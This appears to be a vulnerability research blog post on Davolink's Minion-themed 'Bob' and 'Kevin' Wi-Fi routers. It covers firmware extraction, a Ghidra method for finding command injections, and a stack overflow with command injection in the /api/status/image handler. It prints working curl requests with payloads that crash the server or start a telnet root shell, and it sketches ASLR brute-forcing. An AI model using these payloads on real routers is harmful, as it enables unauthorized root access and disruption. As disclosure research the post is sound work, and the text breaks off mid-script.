Scorpion Labs Blog

Anatomy of an IoT Exploit: Stealing the Moon

Written by David Baker | Nov 12, 2026, 3:01:43 PM

 

At a Glance

We make an in-depth review of the popular Wi-Fi routers themed as “Kevin” and “Bob” from the popular Despicable Me and Minions movies. Looking for overflows and command injections, we found unique firmware that included those, as well as an information disclosure, low-entropy authentication management, and even a backdoor account.

You’ll see:

  • The triage of unique firmware and high-level vulnerability hunting on a manual level
  • Discovery of an undocumented account more powerful than the one assigned to standard users
  • Revitalizing an exploit mechanism across firmware versions (patched in one, still works in another)

Why it matters:

Relying on the idea that adversaries will never get ahold of your firmware is not a sufficiently protective security practice. Much of what we found here secures devices only as far as no attacker is willing to go to develop their understanding of it. Here, we explore classical embedded server implementation risks as well as unique design implementations that import their own concerns.

 

Foreword

They didn’t make it easy for us. It was easier than Battletoads but harder than Level 57 of Bubble Bobble. We got there eventually. The Davolink “Bob” router is built on the RTL9607cv2 board using the RTL8198D CPU and the Linux kernel and is meant to operate as a small-office, home-office router suitable for working, streaming, and gaming requirements. It does. K logix decided to investigate the security posture associated with this router as it seemed as if there had not been many recent writeups related to its release, and the capacity for memes is unlimited.

 

Pre-Release Mea Culpa:

This work was done primarily between April and May of 2026 on firmware version 1.00.04, which was believed to be the latest. At the time, three “Bob” routers along with one “Kevin” as part of the testing effort. (May the two Bob routers that succumbed to soldering injuries rest peacefully.) Attempts to use the “firmware update” option to obtain the latest firmware were unsuccessful, so we tested on the firmware that shipped with our devices. Prior to release, Scorpion Labs carefully reviewed Davolink’s support forum in English and using Google Translate to browse the Korean support forum. The content is not the same.

It was discovered that there may have been an issue with updating [a] that was resolved later than the discovery of these exploits [b], and firmware update 1.00.16 patches the flagship bug that is presented here – a command injection vulnerability in the handler for /api/status/image – as well as another potential issue in /api/status/country – by various logic gates such as quote-escaping. The research is still valid as an academic exercise as it discovered unpublished bugs and all the other security concerns are still present in the latest firmware, but the command injection identified here is completely patched.

Don’t be too concerned though: there’s another bug presented at the end of the article that is verified to exist in the latest.

 

Meet Bob and Kevin

 
I guess that’s two Bobs and one Kevin, but “minions” implies there’s more than one.

“Bob” is a Dual Band Gigabit Wi-Fi Router made by the South Korean company Davolink in the shape of a minion from Universal Pictures’ Despicable Me and Minions series. (“Kevin” can handle an additional traffic band and the internal hardware is a little bit different, but the vulnerabilities described here also exist in that model.) There aren’t many CVEs out for Davolink products, it doesn’t look like there is an OpenWrt release for this equipment, and firmware isn’t easily accessible online. (One researcher has done a lot of work on Bob, but we don’t find much evidence of it having been released.) We thought it’d be a worthwhile candidate to explore a new router and make a bunch of memes, and we weren’t disappointed.

Here’s what Bob looks like inside:

 
Not sure the minions from the movies looked like this inside.

That casing is to hold the primary chip inside of the exterior (“Bob’s skin”) casing, position and connect the antennas, and hold the heat sink in place. Here’s the chip itself, without the heat sink:

 
Under the hood it’s a rather standard Wi-Fi board, though that flash chip would prove tough to get to.

We already have some idea of what we’re looking at; those two chips on the left support the wireless card (the two pins slightly to their left are leads to antennas to support the twin-band wireless feature), the huge silver chip is the primary processor, and the 8-pin Winbond chip right beneath it is the flash memory. At first sight it looks like the four pinholes in the bottom right corner are going to be a serial/UART interface- and they are- unfortunately the console is read-only, and I can only see boot logs. Still, I can tell that the machine is the MIPS-based RTL8198D and the kernel is Linux-4.4.140-svn1622.

 

The Hard(ware) Part

Getting to the software/firmware? Oh man, what a ride- I literally flew up the Atlantic coast device-in-hand because Scorpion Labs’ chief+pilot+hardware reversing expert happens to be my boss and a skilled aviation engineer who built his own kit aircraft,[JD3] [DB4] so you’ve got to believe he brought the soldering skills you’d expect of an aviation engineer:

 
Remember how small this chip was from the picture of the board? That’s some masterful soldering.

It’d be a kind lie to tell you that was the end of it but nope—he brought the entire flash chip under instrumentation with a level of entanglement that can only be described as a mix of the Grecian Hydra with solutions to Schrödinger’s Wave Equation:


It’s like Spiderman had a child with a spool of electrical wire.

Before we get into an analysis of the bugs, let’s go over a refresher on basic software reverse engineering (without source code). If you’re already comfortable with this topic feel free to skip this section.

 

Let’s Start With a Refreshing Braindump

Finding command injections in SRE: a braindump. Once you've got the target software/firmware:

    • Okay, if you have the target application loaded into your Ghidra project, double-click that guy and open it in Codebrowser. Ghidra is going to tell you the binary hasn't been analyzed and ask if you would like to. Click "Accept" or "Analyze" or whatever and just choose all the defaults. (It may take a few minutes.) Once the bar on the bottom left has stopped doing stuff, click on "Window" in the Menu bar and make sure you have "Defined Strings", "Functions", and "Decompile" active. That will crack open the web server binary, list out where it finds function preambles, locate all the strings and their cross-references (i.e. where a pointer tries to access that memory) etc. When you have the "Functions" panel open you can search for init_jwt and you'll see the raw bytecode in the primary window and then go to the "Decompile" window and you'll see that Ghidra has tried to rebuild what its source code looked like.
    • In the "Functions" window panel, type in "system". There will be one. Double-click it, and it'll show you the stub code where the linker drops a pointer to the system function when it links in its libc. That's okay—we know what system does. The important part is here is the picture I'm going to link below.
    • That XREFS[28] means that there are 28 locations in the code of this application that point here- that is: when this application is running those 28 code locations will call the system function that the linker will place a pointer to, right here. (You might need to click "[More...]" to pop out a window to show them all.)
    • If you double-click them it will drag you to the place in the code base that the XREF (cross-reference) originates. Click ONCE (maybe twice?) on the middle view once you're there, with all the machine code in it, then in the Panel window on the right go to your decompiler. The decompiler will attempt to recreate whatever the source code was that generated the function that your primary view is in (you know- the function that calls system).
    • Now you must investigate how this function calls system, why it calls system, and what the arguments to system are. If it's just system("sleep 1 && /sbin/reboot"); then you've run aground with that invocation because unless you want to make the router sleep for a second then reboot then that system call does nothing for you. What you're looking for is something like:

sprintf(acStack1776, "/bin/echo %s", param1);

system(acStack1776);

A classic pattern of “write user input to a stack parameter and run it as a command”. Here, arbitrary input to param1 would allow a command injection by using shell metacharacters to place commands after /bin/echo.

That means a string is being written to acStack1776 (a buffer allocated on the stack, but it could be anywhere as long as the space is allocated). That %s means that sprintf is trying to pack some kind of null-terminated string in there, and the param1 argument tells you that this function is going to put whatever is in param1 in the formatted string and send it onto the command line.

    • Now you must backtrace param1. Can you control the data in it? Go to the top of the function you're looking at and find its own cross-references. How do you get there? Is it internally formatted or validated (like with a call to some function like is_valid_ip) or does it pull it straight from a web request? If it's the latter then you're off to the races, and as you’ll see it’s what happens later on. Window→Function Call Graph and Window→Function Call Tree in Ghidra can help a lot with this part.
    • Find something? Great! Now you're going to have to start scrutinizing the function call sequence to make sure that you're not time-limited or space-limited, to make sure your input isn't sanitized, and to figure out how to actually make a request that sends your unstructured data to that function and formats it into a sprintf.
    • Didn't find anything? Move on to the next invocation of system. Repeat for every single one of them. Still nothing? Same thing for execve. Still nothing? There's always popen. I never promised that this would be easy. You may find that some products implement wrapper calls around system or popen or whatever—if you do find that it's awesome because now you have to traceback all those wrapper calls too!

That's just command injections. If you're completely stranded you might have to start looking for uncontrolled sprintf, sscanf, and of course, strcpy or memcpy. Have fun!

 

Their web server appeared to be entirely “homebrew”–I am unable to trace it back to any open-source web server or any software development kit (SDK). Luckily two things came together for this router: they didn’t strip the binaries of symbols and left function names in, and they’re defined right in main:

 
If only all web app analysis could be so straightforward.

Several things jump out:

  • PTR_DAT_0047ad6c (-0x4850) is almost certainly a pointer to a function table that gets populated during server startup,
  • The next argument is the HTTP verb that connects to that handler; &DAT_00461098 is the string GET and &DAT_00461278 is POST (Ghidra does not populate strings in this view unless they are five characters or longer),
  • The following argument is clearly the URI that activates this entry in the function table,
  • The next argument is the address of the function itself (really helps for tracking them down), and
  • The next argument is either 0 or 1 and is a dispatch indicator to track whether the associated endpoint is to be handled by the main server thread or dispatched to the thread pool, and
  • The last argument is the permission level required to access the endpoint: 0xffffffff or -1 for unauthenticated access, 0 for user-level access, and 1 for admin-level access. Endpoints that have a 1 in this position cannot be accessed from the session of a regular user like bob. Way more on that later.

Once I had the firmware, here was the process:

    1. I mapped the endpoints to their handler functions. For this router this was surprisingly easy because they didn't strip the binaries of symbols and left function names in. Plus, they're defined right in main. Had they stripped all the symbols this would have taken much longer.
    2. I went ahead and tried to identify every endpoint I could reach, with and without authentication, varying over HTTP verbs (surprise! A lot of them were PATCH requests).
    3. I explored what the add_endpoint function does – the last argument is a flag that marks the permission level needed to reach that endpoint. There are a few other registered endpoints that may have had command injections, but I couldn’t send traffic to them.
    4. I looked for every single handler for instances of system, popen, exec[ve], etc., (which led me to discover dvs_call—essentially a wrapper around system) and backtraced them to the endpoints I could hit, then tried to figure out how to get traffic there. A bunch more that looked like there would be command injections were present, but had functions like is_real_ip or is_real_mac in front of them that were clearly doing input filtering. It really helps that those function names were there so I didn't have to waste my time. (Last ditch would be to reverse those filtering functions to see if I could bypass them. Did not want to do that.)
    5. I finally found this guy (handler_status_image_patch), which made me really nervous because it looked like it had some kind of input filtering (I couldn't guarantee that their homebrew json_unpack doesn't do that) but whatever the case: json_unpack throws an argument from your web request into a locally-allocated variable of size TWO then tosses it onto the command line (command injection) and returns (deallocating the stack→overwritten return pointer→stack buffer overflow).
  1. This is the kind of thing that looks really promising:

A promising, but ultimately false, lead.

… but it’s not. This process flow is unexploitable because web traffic can’t get to that endpoint because of upstream web architecture design. (It may be possible for a return-based exploit to jump to this code, though.) However, the following instance is exploitable:

 
Two bugs in one!

This handler copies arbitrary user input into a user buffer of two characters- which is its own concern that has been demonstrated. The json_unpack function takes three arguments: a “format specifier” for the JSON payload of the expected input, the address of the “key” specifier, and a pointer to a variable to store the “value” for that key. In this case, &DAT_00465648 is the address of the null-terminated string “bank” and local_10[0] is the address of where the value is stored. This is a comically small stack, with only one local parameter (it’s obviously expecting an input like {"bank":"1\0"} but backtracing the function to its web handler shows that there is no sanitization or validation of the web request prior to hitting this function. (Edited to add: this got updated between firmware versions 1.00.04 and 1.00.16.)

Running the following commands:

pi@raspberrypi:~/sectest $ PAYLOAD=`python3 -c 'print("A"*256)'`

pi@raspberrypi:~/sectest $ curl -XPATCH 'http://172.20.1.1/api/status/image' -H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:148.0) Gecko/20100101 Firefox/148.0' -H 'Accept: application/json, text/plain, */*' -H 'Accept-Language: en-US,en;q=0.9' -H 'Accept-Encoding: gzip, deflate' -H 'authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZGRyIjoiNjA6Mjk6RDU6ODU6NTc6QTAiLCJleHAiOjE2NDY1LCJpYXQiOjE1ODY1LCJpc3MiOiJkYXZvbGluay5jby5rciIsInBlcm1pc3Npb24iOjAsInN1YiI6IndlYiIsInVzZXIiOiJib2IifQ.9VvB9FrdN8ri-6T1bGpVSbOaVdE9XtfQ85wi6t8ZGyo' -H 'Connection: keep-alive' -H 'Referer: http://172.20.1.1/home' --data "{\"bank\":\"$PAYLOAD\"}"

{ "status": 200, "detail": "success", "data": {}}

… results in this being returned a moment later:

pi@raspberrypi:~/sectest $ curl http://172.20.1.1/

curl: (7) Failed to connect to 172.20.1.1 port 80 after 161 ms: Couldn't connect to server

The stack is smashed.

Luckily, the web server comes back after a short period of time, indicating that there is either a watchdog process or I just locked a thread. A crash and a watchdog process can be used as an ASLR bypass for a return-oriented exploit, as an attacker can just get one valid value for a load point of libc, locate their gadget offsets, then keep throwing the exploit until the web server launches with libc at that location. Like most routers, this chip is 32-bit Linux, which uses 8 bits of entropy (at most) to find load points, so this approach will overcome ASLR in an expected 256 throws, if necessary.

 

It’s Not Necessary

This method also sends user input to dvs_call, which is simply a wrapper around system, resulting in a command injection. Even though this leaves the stack in an unrecoverable shape, execution reaches dvs_call prior to this function returning. The testing team used the above request with the following payload to send pings to ourselves from the router.

pi@raspberrypi:~/sectest $ PAYLOAD="-klogix; ping -c 4 172.20.1.28; #"

 

The -klogix argument is to hopefully stifle /sbin/primaryboot with invalid arguments—then our command runs—then ; # prevents the reboot. It all worked. An even better option is:

pi@raspberrypi:~/sectest $ PAYLOAD="-klogix; /bin/telnetd -l /bin/sh; #"

Then just Telnet into the device to reach an unauthenticated root shell.


The best made plans of mice and men often go awry.

Let’s Steal the Moon

Time to see if we can drive this to an unauthenticated sequence. (Naturally you will likely have to be authenticated to the LAN side, but there is an option to enable remote administration of the device on 80/tcp, 8000/tcp, and 8443/tcp for SSL on the WAN interface, which could place the web interface on the Internet. Alternatively, operating the device in bridging mode places the administrative interfaces on the WAN interface natively.) Anyway, there is a script on the device at /usr/sbin/get_upwd that describes how the default passwords to both the Wi-Fi and the user management interface passwords are generated. I’ll spare you the entire script, but there is a reproduction in our GitHub repository on the topic. Here are some important details:

#!/bin/sh

 

generate_p() {

local SN SNH SNP PW idx

SN=$1

MAC=$(echo ${2:-000000} | tr -d ':')

MAC=${MAC:$(($